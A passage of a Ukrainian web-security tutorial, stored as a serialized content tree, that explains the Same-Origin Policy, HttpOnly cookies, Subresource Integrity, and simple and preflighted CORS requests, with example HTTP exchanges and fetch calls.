HttpOnly\n",[3844,4810,4811,4812,4092,4814,4816],{},"Скрипт на ",[3793,4813,3855],{},[3782,4815,4188],{}," прочитати цю cookie:",[4205,4818,4822],{"className":4819,"code":4820,"language":4821,"meta":4210,"style":4210},"language-javascript shiki shiki-themes light-plus dark-plus dark-plus","console.log(document.cookie); \u002F\u002F Порожній рядок або лише cookies attacker.com\n","javascript",[3793,4823,4824],{"__ignoreMap":4210},[4214,4825,4826,4829,4831,4833,4835,4838,4840,4843,4846],{"class":4216,"line":4217},[4214,4827,4828],{"class":4334},"console",[4214,4830,3796],{"class":4262},[4214,4832,4372],{"class":4308},[4214,4834,4313],{"class":4262},[4214,4836,4837],{"class":4334},"document",[4214,4839,3796],{"class":4262},[4214,4841,4842],{"class":4334},"cookie",[4214,4844,4845],{"class":4262},"); ",[4214,4847,4848],{"class":4301},"\u002F\u002F Порожній рядок або лише cookies attacker.com\n",[4850,4851,4852,4855,4857,4858,4861,4862,4864,4865,4868],"tip",{},[3782,4853,4854],{},"Додатковий захист через HttpOnly:",[3999,4856],{},"\nЯкщо cookie має атрибут ",[3793,4859,4860],{},"HttpOnly",", вона взагалі недоступна через ",[3793,4863,3874],{}," навіть зі ",[3782,4866,4867],{},"свого"," джерела. Це захищає від XSS-атак, де зловмисний скрипт спробує викрасти автентифікаційні токени.",[3839,4870,4872],{"id":4871},"виключення-з-same-origin-policy","Виключення з Same-Origin Policy",[3844,4874,4875,4876,4879,4880,4883],{},"Деякі ресурси ",[3782,4877,4878],{},"не підпадають"," під SOP та завантажуються ",[3782,4881,4882],{},"з будь-яких джерел"," (cross-origin embedding):",[3919,4885,4886,4925,4964,4997,5009],{},[3749,4887,4888,4895,4896],{},[3782,4889,4890,4891,4894],{},"Зображення (",[3793,4892,4893],{},"\u003Cimg>",")",": можна завантажити зображення з іншого домену.",[4205,4897,4899],{"className":4207,"code":4898,"language":4209,"meta":4210,"style":4210},"\u003Cimg src=\"https:\u002F\u002Fcdn.example.com\u002Flogo.png\" alt=\"Logo\">\n",[3793,4900,4901],{"__ignoreMap":4210},[4214,4902,4903,4905,4908,4910,4912,4915,4918,4920,4923],{"class":4216,"line":4217},[4214,4904,4238],{"class":4220},[4214,4906,4907],{"class":4224},"img",[4214,4909,4565],{"class":4228},[4214,4911,4558],{"class":4262},[4214,4913,4914],{"class":4561},"\"https:\u002F\u002Fcdn.example.com\u002Flogo.png\"",[4214,4916,4917],{"class":4228}," alt",[4214,4919,4558],{"class":4262},[4214,4921,4922],{"class":4561},"\"Logo\"",[4214,4924,4232],{"class":4220},[3749,4926,4927,4933,4934],{},[3782,4928,4929,4930,4894],{},"CSS-стилі (",[3793,4931,4932],{},"\u003Clink rel=\"stylesheet\">",": можна підключити стилі з CDN.",[4205,4935,4937],{"className":4207,"code":4936,"language":4209,"meta":4210,"style":4210},"\u003Clink rel=\"stylesheet\" href=\"https:\u002F\u002Fcdn.bootstrap.com\u002F4.5.0\u002Fcss\u002Fbootstrap.min.css\">\n",[3793,4938,4939],{"__ignoreMap":4210},[4214,4940,4941,4943,4946,4949,4951,4954,4957,4959,4962],{"class":4216,"line":4217},[4214,4942,4238],{"class":4220},[4214,4944,4945],{"class":4224},"link",[4214,4947,4948],{"class":4228}," rel",[4214,4950,4558],{"class":4262},[4214,4952,4953],{"class":4561},"\"stylesheet\"",[4214,4955,4956],{"class":4228}," href",[4214,4958,4558],{"class":4262},[4214,4960,4961],{"class":4561},"\"https:\u002F\u002Fcdn.bootstrap.com\u002F4.5.0\u002Fcss\u002Fbootstrap.min.css\"",[4214,4963,4232],{"class":4220},[3749,4965,4966,4972,4973],{},[3782,4967,4968,4969,4894],{},"JavaScript-скрипти (",[3793,4970,4971],{},"\u003Cscript>",": можна завантажити скрипти з інших доменів.",[4205,4974,4976],{"className":4207,"code":4975,"language":4209,"meta":4210,"style":4210},"\u003Cscript src=\"https:\u002F\u002Fcode.jquery.com\u002Fjquery-3.6.0.min.js\">\u003C\u002Fscript>\n",[3793,4977,4978],{"__ignoreMap":4210},[4214,4979,4980,4982,4984,4986,4988,4991,4993,4995],{"class":4216,"line":4217},[4214,4981,4238],{"class":4220},[4214,4983,4293],{"class":4224},[4214,4985,4565],{"class":4228},[4214,4987,4558],{"class":4312},[4214,4989,4990],{"class":4561},"\"https:\u002F\u002Fcode.jquery.com\u002Fjquery-3.6.0.min.js\"",[4214,4992,4271],{"class":4220},[4214,4994,4293],{"class":4224},[4214,4996,4232],{"class":4220},[3749,4998,4999,5008],{},[3782,5000,5001,5002,3950,5005,4894],{},"Відео та аудіо (",[3793,5003,5004],{},"\u003Cvideo>",[3793,5006,5007],{},"\u003Caudio>",": медіа-контент з інших доменів.",[3749,5010,5011,5016],{},[3782,5012,5013,5014,4894],{},"Iframe (",[3793,5015,4503],{},": можна вбудувати сторінку з іншого домену (але доступ до її DOM блокується).",[4137,5018,5019,5038],{},[3844,5020,5021,5024,5026,5027,5029,5030,5033,5034,5037],{},[3782,5022,5023],{},"Ризик підключення зовнішніх скриптів:",[3999,5025],{},"\nХоча браузер дозволяє завантажувати ",[3793,5028,4971],{}," з інших доменів, це створює ",[3782,5031,5032],{},"серйозний ризик безпеки",". Якщо домен CDN скомпрометовано, зловмисник може впровадити шкідливий код на вашу сторінку. Тому критично важливо використовувати ",[3782,5035,5036],{},"Subresource Integrity (SRI)"," для перевірки цілісності завантажених файлів:",[4205,5039,5041],{"className":4207,"code":5040,"language":4209,"meta":4210,"style":4210},"\u003Cscript src=\"https:\u002F\u002Fcdn.example.com\u002Flib.js\" \n        integrity=\"sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K\u002Fuxy9rx7HNQlGYl1kPzQho1wx4JwY8wC\"\n        crossorigin=\"anonymous\">\u003C\u002Fscript>\n",[3793,5042,5043,5059,5069],{"__ignoreMap":4210},[4214,5044,5045,5047,5049,5051,5053,5056],{"class":4216,"line":4217},[4214,5046,4238],{"class":4220},[4214,5048,4293],{"class":4224},[4214,5050,4565],{"class":4228},[4214,5052,4558],{"class":4312},[4214,5054,5055],{"class":4561},"\"https:\u002F\u002Fcdn.example.com\u002Flib.js\"",[4214,5057,5058],{"class":4312}," \n",[4214,5060,5061,5064,5066],{"class":4216,"line":4235},[4214,5062,5063],{"class":4228},"        integrity",[4214,5065,4558],{"class":4312},[4214,5067,5068],{"class":4561},"\"sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K\u002Fuxy9rx7HNQlGYl1kPzQho1wx4JwY8wC\"\n",[4214,5070,5071,5074,5076,5079,5081,5083],{"class":4216,"line":4245},[4214,5072,5073],{"class":4228},"        crossorigin",[4214,5075,4558],{"class":4312},[4214,5077,5078],{"class":4561},"\"anonymous\"",[4214,5080,4271],{"class":4220},[4214,5082,4293],{"class":4224},[4214,5084,4232],{"class":4220},[3831,5086],{},[3834,5088,3801],{"id":5089},"cors-cross-origin-resource-sharing",[3839,5091,5093],{"id":5092},"архітектурний-контекст-та-необхідність-cors","Архітектурний контекст та необхідність CORS",[3844,5095,5096,5097,5100,5101,5104],{},"У ранні роки веб-розробки (1990-ті — початок 2000-х) більшість веб-застосунків були ",[3782,5098,5099],{},"монолітними",": весь HTML, CSS, JavaScript та серверна логіка знаходилися на одному домені. Політика одного джерела (SOP) ефективно захищала такі застосунки від міждоменних атак. Проте з еволюцією веб-архітектури до ",[3782,5102,5103],{},"розподілених систем"," виникли нові патерни:",[3746,5106,5107,5125,5131],{},[3749,5108,5109,5112,5113,5115,5116,3950,5118,3950,5121,5124],{},[3782,5110,5111],{},"Мікросервісна архітектура:"," фронтенд-застосунок на ",[3793,5114,3889],{}," споживає дані з кількох API на різних субдоменах (",[3793,5117,3893],{},[3793,5119,5120],{},"https:\u002F\u002Fauth.example.com",[3793,5122,5123],{},"https:\u002F\u002Fanalytics.example.com",").",[3749,5126,5127,5130],{},[3782,5128,5129],{},"CDN та сторонні сервіси:"," інтеграція з платіжними системами (Stripe, PayPal), аналітикою (Google Analytics), картами (Google Maps API), соціальними мережами (Facebook SDK).",[3749,5132,5133,5136],{},[3782,5134,5135],{},"Single Page Applications (SPA):"," застосунки на React, Vue, Angular, що повністю виконуються у браузері та отримують дані через AJAX від окремих backend-серверів.",[3844,5138,5139,5140,5143,5144,5146,5147,5150],{},"У таких сценаріях ",[3782,5141,5142],{},"легітимні cross-origin запити є нормою",", а не винятком. Саме для вирішення цієї проблеми був розроблений стандарт ",[3782,5145,3801],{},", який дозволяє серверу ",[3782,5148,5149],{},"явно оголосити",", що він довіряє певним доменам та дозволяє їм читати свої відповіді, обходячи обмеження SOP контрольованим та безпечним способом.",[3844,5152,5153,5154,5157,5158,5160],{},"CORS функціонує через ",[3782,5155,5156],{},"систему HTTP-заголовків",", які браузер перевіряє перед тим, як дозволити JavaScript-коду прочитати відповідь від cross-origin сервера. Сервер, який хоче дозволити міждоменні запити, включає у свої відповіді спеціальні CORS-заголовки (наприклад, ",[3793,5159,4473],{},"). Браузер аналізує ці заголовки та, якщо вони відповідають джерелу запиту, розблоковує доступ до відповіді для JavaScript-коду.",[3839,5162,5164],{"id":5163},"простий-cors-запит-simple-request","Простий CORS-запит (Simple Request)",[3844,5166,5167,5168,4148,5171,5174,5175,5178,5179,5182,5183,5185],{},"Браузери класифікують cross-origin запити на дві категорії: ",[3782,5169,5170],{},"прості запити (simple requests)",[3782,5172,5173],{},"запити з передумовою (preflighted requests)",". Прості запити є ",[3782,5176,5177],{},"мінімально інвазивними"," з точки зору безпеки та не вимагають додаткового OPTIONS-запиту перед виконанням основного запиту. Браузер надсилає простий запит безпосередньо до цільового сервера, додаючи заголовок ",[3793,5180,5181],{},"Origin",", який ідентифікує джерело, з якого був ініційований запит. Сервер, у свою чергу, повинен відповісти заголовком ",[3793,5184,4473],{},", щоб дозволити JavaScript-коду прочитати відповідь.",[3844,5187,5188,5189,3917],{},"Простий запит повинен задовольняти ",[3782,5190,5191],{},"всі наступні умови одночасно",[3919,5193,5194,5209,5246,5262,5268],{},[3749,5195,5196,5199,5200,3950,5203,3930,5206,3796],{},[3782,5197,5198],{},"Метод запиту",": лише ",[3793,5201,5202],{},"GET",[3793,5204,5205],{},"HEAD",[3793,5207,5208],{},"POST",[3749,5210,5211,5214,5215,3950,5218,3950,5221,5224,5225,5228,5229],{},[3782,5212,5213],{},"Заголовки запиту",": лише стандартні «безпечні» заголовки, які браузер додає автоматично (",[3793,5216,5217],{},"Accept",[3793,5219,5220],{},"Accept-Language",[3793,5222,5223],{},"Content-Language",") або заголовок ",[3793,5226,5227],{},"Content-Type"," з одним із наступних значень:\n",[3746,5230,5231,5236,5241],{},[3749,5232,5233],{},[3793,5234,5235],{},"application\u002Fx-www-form-urlencoded",[3749,5237,5238],{},[3793,5239,5240],{},"multipart\u002Fform-data",[3749,5242,5243],{},[3793,5244,5245],{},"text\u002Fplain",[3749,5247,5248,5251,5252,3950,5255,5258,5259,3796],{},[3782,5249,5250],{},"Відсутність кастомних заголовків",": не можна додавати ",[3793,5253,5254],{},"Authorization",[3793,5256,5257],{},"X-API-Key",", кастомні заголовки типу ",[3793,5260,5261],{},"X-Custom-Header",[3749,5263,5264,5267],{},[3782,5265,5266],{},"Без ReadableStream у Request.body",": тіло запиту не використовує streaming.",[3749,5269,5270,5273],{},[3782,5271,5272],{},"Без EventSource API",": запит не ініційований через Server-Sent Events.",[3844,5275,5276,5277,5280,5281,5284],{},"Якщо запит ",[3782,5278,5279],{},"не відповідає"," хоча б одній з цих умов, він класифікується як ",[3782,5282,5283],{},"preflighted request"," та вимагає попереднього OPTIONS-запиту.",[3988,5286,5288],{"id":5287},"приклад-простого-cors-запиту","Приклад простого CORS-запиту",[3844,5290,5291,5294,5295,5297,5298,3796],{},[3782,5292,5293],{},"Сценарій:"," Фронтенд-застосунок на ",[3793,5296,3889],{}," запитує список продуктів з публічного API на ",[3793,5299,3893],{},[3844,5301,5302],{},[3782,5303,5304],{},"Крок 1: Клієнт надсилає GET-запит (простий запит)",[4205,5306,5308],{"className":4794,"code":5307,"language":4796,"meta":4210,"style":4210},"GET \u002Fapi\u002Fv1\u002Fproducts HTTP\u002F1.1\nHost: api.example.com\nOrigin: https:\u002F\u002Fapp.example.com\nAccept: application\u002Fjson\nUser-Agent: Mozilla\u002F5.0 (Macintosh; Intel Mac OS X 10_15_7)\n",[3793,5309,5310,5327,5337,5346,5355],{"__ignoreMap":4210},[4214,5311,5312,5314,5317,5320,5323],{"class":4216,"line":4217},[4214,5313,5202],{"class":4622},[4214,5315,5316],{"class":4262}," \u002Fapi\u002Fv1\u002Fproducts ",[4214,5318,5319],{"class":4338},"HTTP",[4214,5321,5322],{"class":4262},"\u002F",[4214,5324,5326],{"class":5325},"sJj4R","1.1\n",[4214,5328,5329,5332,5334],{"class":4216,"line":4235},[4214,5330,5331],{"class":4224},"Host",[4214,5333,3917],{"class":4338},[4214,5335,5336],{"class":4316}," api.example.com\n",[4214,5338,5339,5341,5343],{"class":4216,"line":4245},[4214,5340,5181],{"class":4224},[4214,5342,3917],{"class":4338},[4214,5344,5345],{"class":4316}," https:\u002F\u002Fapp.example.com\n",[4214,5347,5348,5350,5352],{"class":4216,"line":4278},[4214,5349,5217],{"class":4224},[4214,5351,3917],{"class":4338},[4214,5353,5354],{"class":4316}," application\u002Fjson\n",[4214,5356,5357,5360,5362],{"class":4216,"line":4288},[4214,5358,5359],{"class":4224},"User-Agent",[4214,5361,3917],{"class":4338},[4214,5363,5364],{"class":4316}," Mozilla\u002F5.0 (Macintosh; Intel Mac OS X 10_15_7)\n",[3844,5366,5367,5368,5371],{},"Браузер автоматично додає заголовок ",[3793,5369,5370],{},"Origin: https:\u002F\u002Fapp.example.com",", який інформує сервер про джерело запиту.",[3844,5373,5374],{},[3782,5375,5376],{},"Крок 2: Сервер обробляє запит та повертає відповідь з CORS-заголовками",[4205,5378,5380],{"className":4794,"code":5379,"language":4796,"meta":4210,"style":4210},"HTTP\u002F1.1 200 OK\nContent-Type: application\u002Fjson; charset=utf-8\nAccess-Control-Allow-Origin: https:\u002F\u002Fapp.example.com\nContent-Length: 345\n\n[{\"id\":1,\"name\":\"Laptop\",\"price\":29999},{\"id\":2,\"name\":\"Mouse\",\"price\":599}]\n",[3793,5381,5382,5397,5406,5414,5424,5430],{"__ignoreMap":4210},[4214,5383,5384,5386,5388,5391,5394],{"class":4216,"line":4217},[4214,5385,5319],{"class":4338},[4214,5387,5322],{"class":4262},[4214,5389,5390],{"class":5325},"1.1",[4214,5392,5393],{"class":5325}," 200",[4214,5395,5396],{"class":4316}," OK\n",[4214,5398,5399,5401,5403],{"class":4216,"line":4235},[4214,5400,5227],{"class":4224},[4214,5402,3917],{"class":4338},[4214,5404,5405],{"class":4316}," application\u002Fjson; charset=utf-8\n",[4214,5407,5408,5410,5412],{"class":4216,"line":4245},[4214,5409,4473],{"class":4224},[4214,5411,3917],{"class":4338},[4214,5413,5345],{"class":4316},[4214,5415,5416,5419,5421],{"class":4216,"line":4278},[4214,5417,5418],{"class":4224},"Content-Length",[4214,5420,3917],{"class":4338},[4214,5422,5423],{"class":4316}," 345\n",[4214,5425,5426],{"class":4216,"line":4288},[4214,5427,5429],{"emptyLinePlaceholder":5428},true,"\n",[4214,5431,5432,5435,5439,5441,5444,5447,5450,5452,5455,5457,5460,5462,5465,5468,5470,5472,5475,5477,5479,5481,5484,5486,5488,5490,5493],{"class":4216,"line":4298},[4214,5433,5434],{"class":4262},"[{",[4214,5436,5438],{"class":5437},"sLwNe","\"id\"",[4214,5440,3917],{"class":4262},[4214,5442,5443],{"class":5325},"1",[4214,5445,5446],{"class":4262},",",[4214,5448,5449],{"class":5437},"\"name\"",[4214,5451,3917],{"class":4262},[4214,5453,5454],{"class":4316},"\"Laptop\"",[4214,5456,5446],{"class":4262},[4214,5458,5459],{"class":5437},"\"price\"",[4214,5461,3917],{"class":4262},[4214,5463,5464],{"class":5325},"29999",[4214,5466,5467],{"class":4262},"},{",[4214,5469,5438],{"class":5437},[4214,5471,3917],{"class":4262},[4214,5473,5474],{"class":5325},"2",[4214,5476,5446],{"class":4262},[4214,5478,5449],{"class":5437},[4214,5480,3917],{"class":4262},[4214,5482,5483],{"class":4316},"\"Mouse\"",[4214,5485,5446],{"class":4262},[4214,5487,5459],{"class":5437},[4214,5489,3917],{"class":4262},[4214,5491,5492],{"class":5325},"599",[4214,5494,5495],{"class":4262},"}]\n",[3844,5497,5498],{},[3782,5499,5500],{},"Крок 3: Браузер перевіряє CORS-заголовки",[3844,5502,5503,5504,5506,5507,5509,5510,5513],{},"Браузер порівнює значення ",[3793,5505,4473],{}," з джерелом запиту (",[3793,5508,3889],{},"). Оскільки вони співпадають, браузер ",[3782,5511,5512],{},"дозволяє JavaScript-коду"," прочитати відповідь.",[3844,5515,5516],{},[3782,5517,5518],{},"Крок 4: JavaScript отримує доступ до даних",[4205,5520,5522],{"className":4819,"code":5521,"language":4821,"meta":4210,"style":4210},"fetch('https:\u002F\u002Fapi.example.com\u002Fapi\u002Fv1\u002Fproducts')\n  .then(response => response.json())\n  .then(data => {\n    console.log('Products:', data);\n    \u002F\u002F Успішно отримано дані\n  });\n",[3793,5523,5524,5535,5555,5569,5589,5594],{"__ignoreMap":4210},[4214,5525,5526,5528,5530,5533],{"class":4216,"line":4217},[4214,5527,4309],{"class":4308},[4214,5529,4313],{"class":4262},[4214,5531,5532],{"class":4316},"'https:\u002F\u002Fapi.example.com\u002Fapi\u002Fv1\u002Fproducts'",[4214,5534,4320],{"class":4262},[4214,5536,5537,5539,5541,5543,5545,5547,5549,5551,5553],{"class":4216,"line":4235},[4214,5538,4326],{"class":4262},[4214,5540,4329],{"class":4308},[4214,5542,4313],{"class":4262},[4214,5544,4335],{"class":4334},[4214,5546,4339],{"class":4338},[4214,5548,4342],{"class":4334},[4214,5550,3796],{"class":4262},[4214,5552,4347],{"class":4308},[4214,5554,4350],{"class":4262},[4214,5556,5557,5559,5561,5563,5565,5567],{"class":4216,"line":4245},[4214,5558,4326],{"class":4262},[4214,5560,4329],{"class":4308},[4214,5562,4313],{"class":4262},[4214,5564,4362],{"class":4334},[4214,5566,4339],{"class":4338},[4214,5568,4626],{"class":4262},[4214,5570,5571,5574,5576,5578,5580,5583,5585,5587],{"class":4216,"line":4278},[4214,5572,5573],{"class":4334},"    console",[4214,5575,3796],{"class":4262},[4214,5577,4372],{"class":4308},[4214,5579,4313],{"class":4262},[4214,5581,5582],{"class":4316},"'Products:'",[4214,5584,3950],{"class":4262},[4214,5586,4362],{"class":4334},[4214,5588,4617],{"class":4262},[4214,5590,5591],{"class":4216,"line":4288},[4214,5592,5593],{"class":4301},"    \u002F\u002F Успішно отримано дані\n",[4214,5595,5596],{"class":4216,"line":4298},[4214,5597,5598],{"class":4262},"  });\n",[3988,5600,5602],{"id":5601},"публічне-api-access-control-allow-origin","Публічне API: Access-Control-Allow-Origin: *",[3844,5604,5605,5606,5609,5610,3917],{},"Якщо API є публічним та призначеним для використання будь-якими доменами (наприклад, публічні дані погоди, курси валют), сервер може дозволити доступ ",[3782,5607,5608],{},"всім доменам"," через wildcard ",[3793,5611,5612],{},"*",[3844,5614,5615],{},[3782,5616,5617],{},"Відповідь сервера:",[4205,5619,5621],{"className":4794,"code":5620,"language":4796,"meta":4210,"style":4210},"HTTP\u002F1.1 200 OK\nContent-Type: application\u002Fjson\nAccess-Control-Allow-Origin: *\n\n{\"temperature\":22,\"humidity\":60}\n",[3793,5622,5623,5635,5643,5652,5656],{"__ignoreMap":4210},[4214,5624,5625,5627,5629,5631,5633],{"class":4216,"line":4217},[4214,5626,5319],{"class":4338},[4214,5628,5322],{"class":4262},[4214,5630,5390],{"class":5325},[4214,5632,5393],{"class":5325},[4214,5634,5396],{"class":4316},[4214,5636,5637,5639,5641],{"class":4216,"line":4235},[4214,5638,5227],{"class":4224},[4214,5640,3917],{"class":4338},[4214,5642,5354],{"class":4316},[4214,5644,5645,5647,5649],{"class":4216,"line":4245},[4214,5646,4473],{"class":4224},[4214,5648,3917],{"class":4338},[4214,5650,5651],{"class":4316}," *\n",[4214,5653,5654],{"class":4216,"line":4278},[4214,5655,5429],{"emptyLinePlaceholder":5428},[4214,5657,5658,5661,5664,5666,5669,5671,5674,5676,5679],{"class":4216,"line":4288},[4214,5659,5660],{"class":4262},"{",[4214,5662,5663],{"class":5437},"\"temperature\"",[4214,5665,3917],{"class":4262},[4214,5667,5668],{"class":5325},"22",[4214,5670,5446],{"class":4262},[4214,5672,5673],{"class":5437},"\"humidity\"",[4214,5675,3917],{"class":4262},[4214,5677,5678],{"class":5325},"60",[4214,5680,4729],{"class":4262},[3844,5682,5683,5684,3796],{},"Браузер дозволить прочитати цю відповідь ",[3782,5685,5686],{},"з будь-якого джерела",[4137,5688,5689,5692,5694,5695,5697,5698,5700,5701,5703],{},[3782,5690,5691],{},"Обмеження Access-Control-Allow-Origin: * з credentials:",[3999,5693],{},"\nЯкщо запит включає облікові дані (cookies, Authorization), сервер ",[3782,5696,4188],{}," використовувати wildcard ",[3793,5699,5612],{},". У такому випадку необхідно явно вказати конкретне джерело або динамічно генерувати значення на основі заголовка ",[3793,5702,5181],{}," у запиті.",[3839,5705,5707],{"id":5706},"запит-з-передумовою-preflight-request","Запит з передумовою (Preflight Request)",[3844,5709,5710,5711,5714,5715,5718,5719,5722,5723,5726],{},"Якщо cross-origin запит ",[3782,5712,5713],{},"не відповідає критеріям простого запиту",", браузер автоматично виконує ",[3782,5716,5717],{},"preflight-запит"," (запит з передумовою) перед надсиланням фактичного запиту. Це додатковий ",[3782,5720,5721],{},"OPTIONS-запит",", який браузер надсилає до сервера для ",[3782,5724,5725],{},"перевірки дозволів",": чи дозволяє сервер використовувати конкретний метод, заголовки та джерело. Лише якщо preflight-запит успішний (сервер повернув відповідні CORS-заголовки), браузер виконує основний запит.",[3844,5728,5729],{},"Preflight-запит потрібен у наступних випадках:",[3919,5731,5732,5756,5769,5784,5789],{},[3749,5733,5734,5736,5737,3950,5740,3950,5743,3950,5746,3950,5749,3950,5752,5755],{},[3782,5735,5198],{},": ",[3793,5738,5739],{},"PUT",[3793,5741,5742],{},"DELETE",[3793,5744,5745],{},"PATCH",[3793,5747,5748],{},"OPTIONS",[3793,5750,5751],{},"CONNECT",[3793,5753,5754],{},"TRACE"," або будь-який кастомний метод.",[3749,5757,5758,5761,5762,3950,5764,3950,5766,3796],{},[3782,5759,5760],{},"Кастомні заголовки",": додано заголовки типу ",[3793,5763,5254],{},[3793,5765,5257],{},[3793,5767,5768],{},"X-Requested-With",[3749,5770,5771,5773,5774,3950,5776,3950,5778,5780,5781,5124],{},[3782,5772,5227],{},": значення відрізняється від ",[3793,5775,5235],{},[3793,5777,5240],{},[3793,5779,5245],{}," (наприклад, ",[3793,5782,5783],{},"application\u002Fjson",[3749,5785,5786,3796],{},[3782,5787,5788],{},"ReadableStream у тілі запиту",[3749,5790,5791,3796],{},[3782,5792,5793],{},"XMLHttpRequest з listeners на об'єкті upload",[3988,5795,5797],{"id":5796},"чому-preflight-запит-необхідний","Чому preflight-запит необхідний?",[3844,5799,5800,5801,5804,5805,5807,5808,5811,5812,5815,5816,5819,5820,5823,5824,5827],{},"Preflight-запит виконує роль ",[3782,5802,5803],{},"запобіжника безпеки",". Уявімо ситуацію, де зловмисний сайт ",[3793,5806,3855],{}," намагається надіслати DELETE-запит до API банку ",[3793,5809,5810],{},"https:\u002F\u002Fbank.com\u002Fapi\u002Faccounts\u002F42"," від імені користувача, якщо у користувача є активна сесія у банку (cookies автоматично додаються браузером). Без preflight-запиту цей DELETE-запит би ",[3782,5813,5814],{},"досяг сервера"," та потенційно виконав операцію, перш ніж браузер заблокував би доступ до відповіді. Preflight-запит вирішує цю проблему: браузер ",[3782,5817,5818],{},"спочатку перевіряє"," з сервером, чи дозволяє він такий запит від ",[3793,5821,5822],{},"attacker.com",". Якщо сервер не повертає відповідних CORS-заголовків, браузер ",[3782,5825,5826],{},"взагалі не виконує основний DELETE-запит",", захищаючи від потенційної шкоди.",[3988,5829,5831],{"id":5830},"приклад-preflight-запиту","Приклад preflight-запиту",[3844,5833,5834,5294,5836,5838,5839,3796],{},[3782,5835,5293],{},[3793,5837,3889],{}," надсилає JSON-дані через POST з автентифікаційним токеном до ",[3793,5840,3893],{},[3844,5842,5843],{},[3782,5844,5845],{},"Код JavaScript:",[4205,5847,5849],{"className":4819,"code":5848,"language":4821,"meta":4210,"style":4210},"fetch('https:\u002F\u002Fapi.example.com\u002Fapi\u002Fv1\u002Fusers', {\n  method: 'POST',\n  headers: {\n    'Content-Type': 'application\u002Fjson',\n    'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'\n  },\n  body: JSON.stringify({ email: 'user@example.com', name: 'John' })\n});\n",[3793,5850,5851,5863,5874,5881,5893,5903,5908,5941],{"__ignoreMap":4210},[4214,5852,5853,5855,5857,5860],{"class":4216,"line":4217},[4214,5854,4309],{"class":4308},[4214,5856,4313],{"class":4262},[4214,5858,5859],{"class":4316},"'https:\u002F\u002Fapi.example.com\u002Fapi\u002Fv1\u002Fusers'",[4214,5861,5862],{"class":4262},", {\n",[4214,5864,5865,5868,5871],{"class":4216,"line":4235},[4214,5866,5867],{"class":4334},"  method:",[4214,5869,5870],{"class":4316}," 'POST'",[4214,5872,5873],{"class":4262},",\n",[4214,5875,5876,5879],{"class":4216,"line":4245},[4214,5877,5878],{"class":4334},"  headers:",[4214,5880,4626],{"class":4262},[4214,5882,5883,5886,5888,5891],{"class":4216,"line":4278},[4214,5884,5885],{"class":4316},"    'Content-Type'",[4214,5887,3917],{"class":4334},[4214,5889,5890],{"class":4316}," 'application\u002Fjson'",[4214,5892,5873],{"class":4262},[4214,5894,5895,5898,5900],{"class":4216,"line":4288},[4214,5896,5897],{"class":4316},"    'Authorization'",[4214,5899,3917],{"class":4334},[4214,5901,5902],{"class":4316}," 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'\n",[4214,5904,5905],{"class":4216,"line":4298},[4214,5906,5907],{"class":4262},"  },\n",[4214,5909,5910,5913,5916,5918,5921,5924,5927,5930,5932,5935,5938],{"class":4216,"line":4305},[4214,5911,5912],{"class":4334},"  body:",[4214,5914,5915],{"class":4597}," JSON",[4214,5917,3796],{"class":4262},[4214,5919,5920],{"class":4308},"stringify",[4214,5922,5923],{"class":4262},"({ ",[4214,5925,5926],{"class":4334},"email:",[4214,5928,5929],{"class":4316}," 'user@example.com'",[4214,5931,3950],{"class":4262},[4214,5933,5934],{"class":4334},"name:",[4214,5936,5937],{"class":4316}," 'John'",[4214,5939,5940],{"class":4262}," })\n",[4214,5942,5943],{"class":4216,"line":4323},[4214,5944,5945],{"class":4262},"});\n",[3844,5947,5948,5949,5952],{},"Цей запит ",[3782,5950,5951],{},"не є простим",", оскільки:",[3746,5954,5955,5961],{},[3749,5956,5957,5960],{},[3793,5958,5959],{},"Content-Type: application\u002Fjson"," (не один із дозволених типів простого запиту).",[3749,5962,5963,5964,3796],{},"Додано кастомний заголовок ",[3793,5965,5254],{},[3844,5967,5968],{},[3782,5969,5970],{},"Крок 1: Браузер автоматично надсилає preflight OPTIONS-запит",[4205,5972,5974],{"className":4794,"code":5973,"language":4796,"meta":4210,"style":4210},"OPTIONS \u002Fapi\u002Fv1\u002Fusers HTTP\u002F1.1\nHost: api.example.com\nOrigin: https:\u002F\u002Fapp.example.com\nAccess-Control-Request-Method: POST\nAccess-Control-Request-Headers: content-type, authorization\nUser-Agent: Mozilla\u002F5.0 (Macintosh; Intel Mac OS X 10_15_7)\n",[3793,5975,5976,5989,5997,6005,6015,6025],{"__ignoreMap":4210},[4214,5977,5978,5980,5983,5985,5987],{"class":4216,"line":4217},[4214,5979,5748],{"class":4622},[4214,5981,5982],{"class":4262}," \u002Fapi\u002Fv1\u002Fusers ",[4214,5984,5319],{"class":4338},[4214,5986,5322],{"class":4262},[4214,5988,5326],{"class":5325},[4214,5990,5991,5993,5995],{"class":4216,"line":4235},[4214,5992,5331],{"class":4224},[4214,5994,3917],{"class":4338},[4214,5996,5336],{"class":4316},[4214,5998,5999,6001,6003],{"class":4216,"line":4245},[4214,6000,5181],{"class":4224},[4214,6002,3917],{"class":4338},[4214,6004,5345],{"class":4316},[4214,6006,6007,6010,6012],{"class":4216,"line":4278},[4214,6008,6009],{"class":4224},"Access-Control-Request-Method",[4214,6011,3917],{"class":4338},[4214,6013,6014],{"class":4316}," POST\n",[4214,6016,6017,6020,6022],{"class":4216,"line":4288},[4214,6018,6019],{"class":4224},"Access-Control-Request-Headers",[4214,6021,3917],{"class":4338},[4214,6023,6024],{"class":4316}," content-type, authorization\n",[4214,6026,6027,6029,6031],{"class":4216,"line":4298},[4214,6028,5359],{"class":4224},[4214,6030,3917],{"class":4338},[4214,6032,5364],{"class":4316},[3844,6034,6035],{},[3782,6036,6037],{},"Пояснення заголовків preflight-запиту:",[3746,6039,6040,6045,6051],{},[3749,6041,6042,6044],{},[3793,6043,5370],{}," — джерело, з якого ініційовано запит.",[3749,6046,6047,6050],{},[3793,6048,6049],{},"Access-Control-Request-Method: POST"," — метод основного запиту, який браузер збирається виконати.",[3749,6052,6053,6056],{},[3793,6054,6055],{},"Access-Control-Request-Headers: content-type, authorization"," — заголовки, які будуть використані у основному запиті.",[3844,6058,6059],{},[3782,6060,6061],{},"Крок 2: Сервер повертає відповідь з дозволами CORS",[4205,6063,6065],{"className":4794,"code":6064,"language":4796,"meta":4210,"style":4210},"HTTP\u002F1.1 204 No Content\nAccess-Control-Allow-Origin: https:\u002F\u002Fapp.example.com\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS\nAccess-Control-Allow-Headers: Content-Type, 